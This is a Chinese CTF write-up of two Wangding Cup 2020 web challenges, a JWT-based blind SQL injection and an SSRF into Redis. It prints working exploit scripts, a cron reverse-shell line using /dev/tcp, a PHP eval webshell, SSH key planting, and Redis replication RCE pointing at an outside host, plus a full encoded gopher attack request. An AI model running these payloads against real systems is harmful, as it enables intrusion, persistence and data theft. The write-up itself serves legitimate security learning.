网鼎杯2020玄武组web题目WriteUp

2020-05-28 21,981

js_on

进入题目注册用户,注册用户admin时提示已经注册

image.pngimage-20200521205045950

尝试登陆admin账户,存在弱口令,admin/admin

这里得到key,尚不清楚作用

image-20200521205336717image.png

注册一个账户并登陆,观察登陆相应返回JWT

image.pngimage-20200521205802011

访问index.php会带上JWT,JWT应该用于鉴权

image.png

image-20200521205908006前面的key应该为jwt使用,使用jwt.io进行初步分析,数据正确:

image-20200521210134993image.png

经过测试jwt中的user存在sql注入

image-20200521215203098image.png

image-20200521215304460image.png

这里可以根据页面返回信息(这里是你的信息),作为判断进行布尔注入

经过测试,过滤select等关键字,但是后端会过滤html标签,可以利用sele<i>ct进行绕过,这里直接用like更省事

import jwt
import requests
from authlib.jose import jwt

def get_toke(payload):
   header = {"alg": "HS256",
             "typ": "JWT"}
   payload = {"user": payload,
              "news": "Hello neusoft"}
   secret = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
   token = jwt.encode(header, payload, secret).decode('utf-8')
   return token


if __name__ == '__main__':

   payload = "neusoft'and/**/current_user/**/like/**/'root@localhost"
   chars = '.0123456789@abcdefghijklmnopqrstuvwxyz'

   for c in chars:
       tmp_payload = payload + c + '%'
       print(tmp_payload)
       toekn = get_toke(tmp_payload)
       url = "http://9ebb0777b871433482e5bac8cf73b4655c0744244d644f7f.cloudgame2.ichunqiu.com/index.php"
       headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.6) ",
                  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                  "Accept-Language": "en-us",
                  "Connection": "keep-alive",
                  "Accept-Charset": "GB2312,utf-8;q=0.7,*;q=0.7",
                  "Cookie":
                      "chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589954830,1590022770,1590023266,1590023268; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1590031195; __jsluid_h=b7ce52b008fa2bd66***b073712ae518; token={token}".format(
                          token=toekn)
                  }
       rs = requests.get(url=url, headers=headers).text
       if 'Hello neusoft' in rs:
           print(rs)
           print(toekn)
           exit()

得到当前用为root@localhost,权限足够,同样使用likeload_file进行对/flag /tmp/flag等常见位置读取确定flag在根目录下,懒得添加直接手工修改payload逐位读出:

import json
import base64
import json
import hashlib
import hmac
import jwt
import requests
from authlib.jose import jwt


def get_toke(payload):
   header = {"alg": "HS256",
             "typ": "JWT"}
   payload = {"user": payload,
              "news": "Hello neusoft"}
   secret = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
   token = jwt.encode(header, payload, secret).decode('utf-8')

   return token


if __name__ == '__main__':

   # payload = "neusoft'and/**/current_user/**/like/**/'ROOT@L"
   payload = "neusoft'and/**/load_file('/flag')/**/like/**/'flag{4b71e186-d2b7-4787-95d9-c5285971162c}"
   chars = '-{}.0123456789abcdefghijklmnopqrstuvwxyz'

   for c in chars:
       tmp_payload = payload + c + '%'
       print(tmp_payload)
       toekn = get_toke(tmp_payload)
       url = "http://36935ee20bc74c8cbfaf6af4da86392f61d0a1a8a3e144b8.cloudgame2.ichunqiu.com/index.php"
       headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.6) ",
                  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                  "Accept-Language": "en-us",
                  "Connection": "keep-alive",
                  "Accept-Charset": "GB2312,utf-8;q=0.7,*;q=0.7",
                  "Cookie":
                      "chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589954830,1590022770,1590023266,1590023268; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1590035539; __jsluid_h=d5096c4ce8e90aaaae84ee7ce325c7e3; token={token}".format(
                          token=toekn)
                  }
       rs = requests.get(url=url, headers=headers).text
       if 'Hello neusoft' in rs:
           print(rs)
           print(toekn)
           print(c)
           exit()

ssrfme

开局给源码,明显的ssrf

<?php 
function check_inner_ip($url)
{
   $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
   if (!$match_result)
   {
       die('url fomat error');
   }
   try
   {
       $url_parse=parse_url($url);
   }
   catch(Exception $e)
   {
       die('url fomat error');
       return false;
   }
   $hostname=$url_parse['host'];
   $ip=gethostbyname($hostname);
   $int_ip=ip2long($ip);
   return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{
   
   if (check_inner_ip($url))
   {
       echo $url.' is inner ip';
   }
   else
   {
       $ch = curl_init();
       curl_setopt($ch, CURLOPT_URL, $url);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt($ch, CURLOPT_HEADER, 0);
       $output = curl_exec($ch);
       $result_info = curl_getinfo($ch);
       if ($result_info['redirect_url'])
       {
           safe_request_url($result_info['redirect_url']);
       }
       curl_close($ch);
       var_dump($output);
   }
   
}
if(isset($_GET['url'])){
   $url = $_GET['url'];
   if(!empty($url)){
       safe_request_url($url);
   }
}
else{
   highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

可以发现check_inner_ip函数首先对请求进行了内网ip的判断,并不允许内网ip地址的请求。


parse_urllibcurl对url的解析差异绕过check_inner_ip函数对内网地址的判断

http://0b417548a8cd4b4fb179c2ea09d54b223f6d99ee096a43c4.cloudgame2.ichunqiu.com/?url=http://u:p@127.0.0.1:80@baidu.com/hint.php


成功获取下一步的hint,得到应该是redis账号密码的提示

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   highlight_file(__FILE__);
}
if(isset($_POST['file'])){
           file_put_contents($_POST['file'],"<?php echo 'redispass is welcometowangdingbeissrfme6379';exit();".$_POST['file']);
}


使用dict协议测试,redis能成功访问 ,但存在密码校验

http://370c78bf6a6e464f8aa42c396b27e54273d669ccc5144d8a.cloudgame2.ichunqiu.com/?url=dict://u:p@127.0.0.1:6379@baidu.com/

image.pngimage-20200521233610196

使用dict协议校验密码成功

image-20200521234222764image.png

失败则为

image.pngimage-20200521234315079


dict协议一次只能执行一条命令,因该是仅仅能进行密码验证。此处需要gopher协议,可以一次性完成密码验证以及恶意命令执行(大致意思是说Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读)。


攻击方式位Redis基于主从复制RCE,整个手动构造很是麻烦,推荐使用现成工具,可以设置密码还有需要执行的命令。

#!/usr/local/bin python
# coding=utf8

try:
   from urllib import quote
except:
   from urllib.parse import quote


def generate_shell(filename, path, passwd, payload):
   cmd = ["flushall",
          "set 1 {}".format(payload),
          "config set dir {}".format(path),
          "config set dbfilename {}".format(filename),
          "save"
          ]
   if passwd:
       cmd.insert(0, "AUTH {}".format(passwd))
   return cmd


def generate_reverse(filename, path, passwd, payload):  # centos

   cmd = ["flushall",
          "set 1 {}".format(payload),
          "config set dir {}".format(path),
          "config set dbfilename {}".format(filename),
          "save"
          ]
   if passwd:
       cmd.insert(0, "AUTH {}".format(passwd))
   return cmd


def generate_sshkey(filename, path, passwd, payload):
   cmd = ["flushall",
          "set 1 {}".format(payload),
          "config set dir {}".format(path),
          "config set dbfilename {}".format(filename),
          "save"
          ]
   if passwd:
       cmd.insert(0, "AUTH {}".format(passwd))
   return cmd


def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
   exp_filename = "exp.so"
   cmd = [
       "SLAVEOF {} {}".format(lhost, lport),
       "CONFIG SET dir /tmp/",
       "config set dbfilename {}".format(exp_filename),
       "MODULE LOAD /tmp/{}".format(exp_filename),
       "system.exec {}".format(command.replace(" ", "${IFS}")),
       # "SLAVEOF NO ONE",
       # "CONFIG SET dbfilename dump.rdb",
       # "system.exec rm${IFS}/tmp/{}".format(exp_filename),
       # "MODULE UNLOAD system",
       "POST"
   ]
   if passwd:
       cmd.insert(0, "AUTH {}".format(passwd))
   return cmd


def rce_cleanup():
   exp_filename = "exp.so"
   cmd = [
       "SLAVEOF NO ONE",
       "CONFIG SET dbfilename dump.rdb",
       "system.exec rm${IFS}/tmp/{}".format(exp_filename),
       "MODULE UNLOAD system",
       "POST"
   ]
   if passwd:
       cmd.insert(0, "AUTH {}".format(passwd))
   return cmd


def redis_format(arr):
   CRLF = "\r\n"
   redis_arr = arr.split(" ")
   cmd = ""
   cmd += "*" + str(len(redis_arr))
   for x in redis_arr:
       cmd += CRLF + "$" + str(len((x))) + CRLF + x
   cmd += CRLF
   return cmd


def generate_payload(ip, port, passwd, mode):
   payload = "test"

   if mode == 0:
       filename = "shell.php"
       path = "/var/www/html"
       shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"

       cmd = generate_shell(filename, path, passwd, shell)

   elif mode == 1:
       filename = "root"
       path = "/var/spool/cron/"
       shell = "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.1/2333 0>&1\n\n"

       cmd = generate_reverse(filename, path, passwd, shell)

   elif mode == 2:
       filename = "authorized_keys"
       path = "/root/.ssh/"
       pubkey = "\n\nssh-rsa "

       cmd = generate_sshkey(filename, path, passwd, pubkey)

   elif mode == 3:
       lhost = "103.210.23.184"
       lport = "6666"
       command = "cat /flagFlagFLLLLLLLLLLLLLLag"

       cmd = generate_rce(lhost, lport, passwd, command)

   elif mode == 31:
       cmd = rce_cleanup()

   protocol = "gopher://"
   payload = protocol + ip + ":" + port + "/_"

   for x in cmd:
       payload += quote(redis_format(x))
   return payload


if __name__ == "__main__":
   # 0 for webshell ; 1 for re shell ; 2 for ssh key ; 3 for redis rce ; 31 for rce clean up
   # suggest cleaning up when mode 3 used
   mode = 3

   # need auth or not
   passwd = "welcometowangdingbeissrfme6379"

   ip = "127.0.0.1"
   port = "6379"

   p = generate_payload(ip, port, passwd, mode)
   print(p.replace("gopher://127.0.0.1:6379","gopher://u:p@127.0.0.1:6379@neusoft.com"))


注意payload 需要两次url编码,传送到服务器解码一次,libcurl传递的url也需要编码

image-20200521235553559image.png


GET /?url=%67%6f%70%68%65%72%3a%2f%2f%75%3a%70%40%31%32%37%2e%30%2e%30%2e%31%3a%36%33%37%39%40%6e%65%75%73%6f%66%74%2e%63%6f%6d%2f%5f%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%41%55%54%48%25%30%44%25%30%41%25%32%34%33%30%25%30%44%25%30%41%77%65%6c%63%6f%6d%65%74%6f%77%61%6e%67%64%69%6e%67%62%65%69%73%73%72%66%6d%65%36%33%37%39%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%37%25%30%44%25%30%41%53%4c%41%56%45%4f%46%25%30%44%25%30%41%25%32%34%31%34%25%30%44%25%30%41%31%30%33%2e%32%31%30%2e%32%33%2e%31%38%34%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%36%36%36%36%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%43%4f%4e%46%49%47%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%53%45%54%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%35%25%30%44%25%30%41%2f%74%6d%70%2f%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%65%78%70%2e%73%6f%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%4d%4f%44%55%4c%45%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%4c%4f%41%44%25%30%44%25%30%41%25%32%34%31%31%25%30%44%25%30%41%2f%74%6d%70%2f%65%78%70%2e%73%6f%25%30%44%25%30%41%25%32%41%32%25%30%44%25%30%41%25%32%34%31%31%25%30%44%25%30%41%73%79%73%74%65%6d%2e%65%78%65%63%25%30%44%25%30%41%25%32%34%33%35%25%30%44%25%30%41%63%61%74%25%32%34%25%37%42%49%46%53%25%37%44%2f%66%6c%61%67%46%6c%61%67%46%4c%4c%4c%4c%4c%4c%4c%4c%4c%4c%4c%4c%4c%4c%61%67%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%50%4f%53%54%25%30%44%25%30%41 HTTP/1.1
Host: d3e5576b9b914c***200279ef8231d1dc48a4720447e45a4.cloudgame1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589954830,1590022770,1590023266,1590023268; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1590059932; __jsluid_h=2d0da9dd4a39f2acda1d100eddf6f309
Connection: close


image.png

image.png



参考

https://www.smi1e.top/%e6%b5%85%e6%9e%90ssrf%e8%ae%a4%e8%af%81%e6%94%bb%e5%87%bbredis/

https://www.cnblogs.com/-chenxs/p/11749367.html


本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/132215.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号